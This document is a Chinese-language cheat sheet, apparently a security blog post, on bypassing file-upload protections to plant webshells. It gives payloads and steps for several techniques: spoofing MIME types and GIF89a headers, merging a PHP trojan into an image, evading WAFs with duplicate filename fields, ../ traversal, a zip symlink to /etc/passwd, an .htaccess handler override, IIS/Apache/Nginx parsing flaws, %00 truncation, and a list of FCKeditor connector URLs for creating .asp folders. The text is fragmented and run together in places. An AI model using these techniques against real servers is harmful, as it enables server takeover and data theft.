上传流程以及对应的检测点
POST MultPart报文发送到服务器
MIME Type检测当文件上传点未对上传的文件进行严格的验证和过滤时,就容易造成任意文件上传,包括上传动态文件,如asp/php/jsp等。如果上传的目录没有限制执行权限,导致上传的动态文件可以正常执行并可以访问,即存在上传漏洞的必要条件是:
MIME Type通常是白名单限制,常见白名单如下:
扩展名 | MIME Type |
|---|---|
jpg | image/jpeg |
png | image/png |
txt | text/plain |
zip | application/zip |
doc | application/msword |
简单文件头检测:文件头的起始部分一般开头标记文件类型,如GIF的文件头位GIF89a或GIF87a
GIF89a<?php phpinfo(); ?>完整文件结构检测:通过调用图像函数进行检测文件是否为图像,需要文件内容保持相对完整,所以无法通过添加头部进行绕过
# 将普通图片1.jpg 和 木马文件shell.php ,合并成木马图片2.jpg
$ copy /b 1,jpg+shell.php 2.jpg weevely进行尝试:https://github.com/sunge/WeevelyWeb应用调用GD图形库对上传的文件进行了文件转换,即时图片与文件合并,也会将尾部转换掉,无法通过前面的方法上传WebShell
11111111111111[xxxxxxxxxxx]11111111111111 # 转换前
22222222222222[xxxxxxxxxxx]22222222222222 # 转换后
# 此时将[xxxxxxxxxxx]部分替换为Webshell
11111111111111[<?php phpinfo(); ?>]11111111111111php codeinj.php demo.gif "<?php phpinfo();?>"filename属性:文件上传过程中,如果WAF拦截一些扩展名,可以通过Burp抓包,添加多个filename属性Content-Disposition: form-data; name="upfile"; filename="phpinfo.png"; filename="phpinfo.php"; ../Content-Disposition: form-data; name="UPLOAD_DIR";
file/../../
# 如果过滤连续的 ../,可以在中间插入./进行绕过
file/.././../在线解压缩搭配文件软链接
$ ln -s /etc/passwd a
# 可通过ls -l检查
$ ls -l
... a -> /etc/passwd$ zip --symlinks 1.zip a基本木马
简单变形
图片马
搜索某目录下文件是否含有木马
木马文件就算被成功上传,如果没有被Web容器以脚本文件解析执行,也不会对服务器造成威胁。所以往往在利用文件上传漏洞时,会与Web容器的解析漏洞配合使用,以保证上传的恶意代码被成功执行。
shell.php.abc.rar,其中.abc和.rar这两种后缀都不可识别解析,继续往左就是shell.php,则此时该文件就被Apache解析成PHP文件.htaccess可被执行且可被上传,那么可以在其中写入以下代码。然后上传shell.jpg图片马,此时该木马将被解析为php<FilesMatch "shell.jpg">
SetHandler application/x-httpd-php
</FilesMatch>影响版本:IIS 5.x ~ 6.0
xxx.asp文件夹,该文件夹内任何后缀的文件都将被IIS当做asp脚本文件来解析并执行shell.asp;.jpg,会被看成shell.asp。可通过抓包改包绕过上传的后缀白名单.asp,还有.asa/.cer/.cdx影响版本:IIS7.0 / IIS7.5 / Nginx<8.03
畸形解析漏洞:在默认Fast-CGI开启的情况下,上传一个1.jpg文件,内容如下。然后去访问1.jpg/.php,那么就会在该目录下生成一个shell.php文件
Nginx<=0.7.65 / Nginx<=0.8.37
1.jpg中嵌入PHP代码,然后通过访问1.jpg%00.php来执行其中代码影响版本:Nginx 0.8.41~1.4.3 / 1.5.0~1.5.7
%20结尾的文件,如abc.jpg ,当访问abc.jpg%20%00.php时,其中%20%00可能需要使用Burp抓包进行UrlDecode,此时会将前面的图片文件当做PHP执行。前提条件:网站开启了
cgi.fix_pathinfo并且未设置security.limit_extensions
cgi.fix_pathinfo后,如果所执行文件不存在,则会向前递归解析,继续查找上一级文件是否存在
index.php/abc/xxxsecurity.limit_extensions,该选项用于限制可执行的文件类型
abc.jpg/.phphttp://www.xxx.com/1.jpg/xxx.php时,页面返回的是将1.jpg按php解析的结果。由于xxx.php是不存在的文件,PHP则会向前递归解析,造成解析漏洞。filepath默认路径为/upload/,将其修改为/upload/x.asp/,配合IIS6目录解析漏洞使用,需要一定的权限,否则无法成功创建目录。/upload/修改为/upload/x.asp;.abc.jpg%00截断
x.php%00jpg,然后将%00右键进行URL decodex.php jpg,然后通过抓包在Hex栏处找到文件名中的空格,编码为20,将编码修改为00http://127.0.0.1/fckeditor/editor/dialog/fck_about.html
http://127.0.0.1/FCKeditor/_whatsnew.htmlVersion=2.2Apache+Linux.
Version<=2.42:在处理PHP上传的地方未对Media类型进行上传文件类型的控制,导致用户上传任意文件。
FCKeditor/editor/filemanager/browser/default/connectors/test.html
FCKeditor/editor/filemanager/upload/test.html
FCKeditor/editor/filemanager/connectors/test.html
FCKeditor/editor/filemanager/connectors/uploadtest.html
FCKeditor/_samples/default.html
FCKeditor/_samples/asp/sample01.asp
FCKeditor/_samples/asp/sample02.asp
FCKeditor/_samples/asp/sample03.asp
FCKeditor/_samples/asp/sample04.asp
FCKeditor/_samples/default.html
FCKeditor/editor/fckeditor.htm
FCKeditor/editor/fckdialog.html
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/connectors/php/connector.php?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector.jsp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors/php/connector.php
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors/asp/connector.asp
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors/aspx/connector.aspx
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors/jsp/connector.jsp
FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp
fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/aspx/connector.Aspx
fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/php/connector.php上传限制的突破方式很多,主要还是抓包改扩展名,%00截断,添加文件头等
文件上传时可能会将文件名中的.修改成_
1.php+空格绕过,不过此方法只支持Windows系统,而*nix不支持1.asp;.jpg,此时文件名可能会自动变成1_asp;.jpg,再次上传文件,此时第二个上传的文件即有可能会被重命名为1.asp(1);.jpghttp://127.0.0.1/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=/xx.asp&NewFolderName=x.asp。此时会在网站目录下递归创建xx.asp/x.asp目录,但是此处内层目录x.asp会被重命名为x_asp,即创建了/xx.asp/x_asp,可以将文件上传到xx.asp目录,配合IIS6.0目录解析漏洞进行利用。CurrentFolder=%25修改为CurrentFolder=/xx.asp。原理同上,其中%2F即当前目录/的URL编码Fckeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=File&CurrentFolder=/shell.asp&NewFolderName=z.asp
FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=/shell.asp&NewFolderName=z&uuid=1244789975684
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp通过Fckeditor编辑器在文件上传页面中,创建1.asp文件夹,然后再到该文件夹下上传一个图片的webshell文件,获取其shell。
fckeditorFCKeditor/editor/fckeditor.html
根据XML返回信息查看网站目录
获取当前文件夹
浏览E盘文件
检验扩展名:修改后缀,如、等绕过
检验文件头:伪造文件头,在一句话木马前面加入GIF89a,然后将木马保存为图片格式,如.jpg/.png/.gif
检验文件类型:修改
文件包含过WAF:在不含恶意代码的脚本文件中,通过文件包含引入含有恶意代码但后缀为图片格式的文件。因为含有恶意代码的文件后缀为图片,WAF不会检查其中内容;而不含恶意代码的脚本文件中,因为不含恶意代码所以WAF不会检测出异常,从而达到绕过WAF。